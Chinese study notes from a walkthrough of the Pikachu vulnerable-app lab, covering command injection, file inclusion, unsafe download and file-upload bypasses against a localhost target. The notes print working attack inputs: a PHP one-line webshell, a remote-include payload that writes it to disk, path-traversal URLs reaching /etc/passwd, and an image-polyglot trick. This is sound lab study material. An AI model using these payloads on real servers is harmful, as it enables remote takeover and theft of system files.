【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

37.6-1 远程命令、代码执行漏洞原理及案例演示(Av96582332,P37)

 

RCE(remote command/code execute)概述

    RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

    远程系统命令执行

    一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口

    比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

    一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

 

    现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-

 

    远程代码执行

    同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

    因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

    你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞

 

 

38.7-1 文件包含原理及本地文件包含漏洞案例演示(Av96582332,P38)

 

通过拼接符号,执行其他命令

 

127.0.0.1

Pinging 127.0.0.1 with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<1ms TTL=64

Reply from 127.0.0.1: bytes=32 time<1ms TTL=64

Reply from 127.0.0.1: bytes=32 time<1ms TTL=64

Reply from 127.0.0.1: bytes=32 time<1ms TTL=64

 

Ping statistics for 127.0.0.1:

    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

    Minimum = 0ms, Maximum = 0ms, Average = 0ms

 

127.0.0.1 & ifconfig

 

自己好像没成功和上面一样

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){

    $ip=$_POST['ipaddress'];

//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255

    if(stristr(php_uname('s'), 'windows')){

//         var_dump(php_uname('s'));

        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理

    }else {

        $result.=shell_exec('ping -c 4 '.$ip);

    }

 

}

 

在exec eval页面

phpinfo();

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

if(isset($_POST['submit']) && $_POST['txt'] != null){

    if(@!eval($_POST['txt'])){

        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

 

 

38.7-1 文件包含原理及本地文件包含漏洞案例演示(Av96582332,P38)

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

球员照片文件是后台的,而文件名是前端传到后台的,因此可以修改传入的文件名

猜测是linux系统,文件改成后台配置文件(有很多)

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=Submit+Query

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../文件名&submit=Submit+Query

加多个 ../ 到根目录

演示是../../../../../../../etc/password

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../../README.md&submit=Submit+Query

自己windos测试,打开了附带的md文件

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../../1.txt&submit=Submit+Query

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

if(isset($_GET['submit']) && $_GET['filename']!=null){

    $filename=$_GET['filename'];

    include "include/$filename";//变量传进来直接包含,没做任何的安全限制

//     //安全的写法,使用白名单,严格指定包含的文件名

//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){

//         include "include/$filename";

 

//     }

 

 

39.7-2 远程文件包含漏洞案例讲解和演示(Av96582332,P39)

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=Submit+Query

原始url

 

127.0.0.1:4431/pikachu/test/yijuhua.txt

访问的是以下文件内容

<?php

/**

 * Created by runner.han

 * There is nothing new under the sun

 */

$myfile = fopen("yijuhua.php","w");

$txt = '<?php system($_GET[x]);?>';

fwrite($myfile,$txt);

fclose($myfile);

?>

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1:4431/pikachu/test/yijuhua.txt&submit=Submit+Query

把filename后面的路径改为远端路径

 

本地文件包含漏洞,利用有限,只能用本地文件,还要猜到路径,危害低;远程包含函数,可以读远程站点上的文件,可以自己搭,写需要的东西来加载控制

 

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/yijuhua.php?x=ifconfig

 

前面在本地执行后,就会生成一句话木马,只要给x传系统命令

 

使用前,得知道一句话目录的位置,一般跟当前php页面在同一级下

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

 

if(isset($_GET['submit']) && $_GET['filename']!=null){

    $filename=$_GET['filename'];

    include "$filename";//变量传进来直接包含,没做任何的安全限制

 

 

40.7-3 文件包含漏洞防范措施(Av96582332,P40)

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

41.8-1 不安全的文件下载原理和案例演示(Av96582332,P41)

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

控制不严格,可下载任意文件

网页下载图片,是在后面传参 filename=kb.png

可以用目录遍历测这个漏洞

../ 目录跳转,敲的足够多,可以到根目录,再一级一级往下读取

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

linux下面很多文件都是固定的

etc/password

etc/fstab 磁盘挂载配置文件

 

                <div class="png" style="float: left">

                    <img src="download/kb.png" /><br />

                    <a href="execdownload.php?filename=kb.png" >科比.布莱恩特</a>

                </div>

 

 

 

$file_path="download/{$_GET['filename']}";

//用以解决中文不能显示出来的问题

$file_path=iconv("utf-8","gb2312",$file_path);

 

//首先要判断给定的文件存在与否

if(!file_exists($file_path)){

    skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');

    return ;

}

$fp=fopen($file_path,"rb");

$file_size=filesize($file_path);

//下载文件需要用到的头

ob_clean();//输出前一定要clean一下,否则图片打不开

Header("Content-type: application/octet-stream");

Header("Accept-Ranges: bytes");

Header("Accept-Length:".$file_size);

Header("Content-Disposition: attachment; filename=".basename($file_path));

$buffer=1024;

$file_count=0;

//向浏览器返回数据

 

//循环读取文件流,然后返回到浏览器feof确认是否到EOF

while(!feof($fp) && $file_count<$file_size){

 

    $file_con=fread($fp,$buffer);

    $file_count+=$buffer;

 

    echo $file_con;

}

fclose($fp);

?>

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

42.8-2 不安全的文件上传原理及客户端绕过案例(Av96582332,P42)

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

client check 前端弹框不能上传

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

看网页源码,之前xss已讲,前端限制操作只能辅助,不能起到实际的作用,很容易控制台删改绕过

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

删掉这部分

 

上传一句话木马文件system.php

<?php system($_GET['x']);?>

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

实际情况,可能不知道上传的目录,想办法判断位置,最终访问它

实际上传位置

D:\Program Files\xampp\htdocs\pikachu\vul\unsafeupload\uploads

 

初始页面

127.0.0.1:4431/pikachu/vul/unsafeupload/clientcheck.php

 

127.0.0.1:4431/pikachu/vul/unsafeupload/system.php?x=ifconfig

 

 

 

42.8-2 不安全的文件上传原理及客户端绕过案例(Av96582332,P42)

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

if(isset($_POST['submit'])){

//     var_dump($_FILES);

    $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。

    $save_path='uploads';//指定在当前目录建立一个目录

    $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数

    if($upload['return']){

        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";

    }else{

        $html.="<p class=notice>{$upload['error']}</p>";

    }

}

 

问题出在$_file(全局方法)获取文件类型,再与定义好的mime类型比较,是从游览器http头获取content-type,这个前端用户可以控制绕过

 

 

44.8-4 文件上传之getimagesize绕过案例和防范措施(Av96582332,P44)

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

是读取文件16进制内容头字符串

linux下 xxd读目标文件16进制

xxd abc.png 1head -n 1

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

windos下

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

进cmd,dir看目录文件

copy /b 1.png + phpinfo.php a.png

 

linux xxd a.png

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

头部正常,尾部加了恶意代码

 

初始网页

127.0.0.1:4431/pikachu/vul/unsafeupload/getimagesize.php

 

文件上传成功

 

文件路径非常重要

文件保存的路径为:uploads/2020/04/16/5569195e98707823cee611568981.png

 

更具体的路径是

unsafeupload/uploads/2020/04/16/5569195e98707823cee611568981.png

绿色的部分需要猜测,或暴力**得到

 

127.0.0.1:4431/pikachu/vul/unsafeupload/uploads/2020/04/16/5569195e98707823cee611568981.png

直接路径访问是看到图片是,里面的代码不会执行

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=Submit+Query

切换到,文件本地包含页面,绿色部分是需要改成图片的相对路径,粉色的部分也要带上,不然不会执行

 

用文件包含上传include函数,以当前为代码点为根节点读取,前面有错误(即使前面是16进制代码),依然会往下继续执行,包括执行写入的php代码。

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=uploads/2020/04/16/5569195e98707823cee611568981.png&submit=Submit+Query

加../直到与文件上传目录平级

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../uploads/2020/04/16/5569195e98707823cee611568981.png&submit=Submit+Query

加了很多../,但这样实现不了,因为fileinclude和unsafeupload是平级,上传图片的uploads文件夹在unsafeupload里面。往上可以,但没有一步一步下到文件夹里面

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

往上跳两级,刚好与大目录平级(注意是url中是/,windos目录

直接复制是反斜杠\,试了也行)

 

 

【pikachu】远程命令、代码执行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

45.9-1 越权漏洞原理及水平越权案例演示(Av96582332,P45)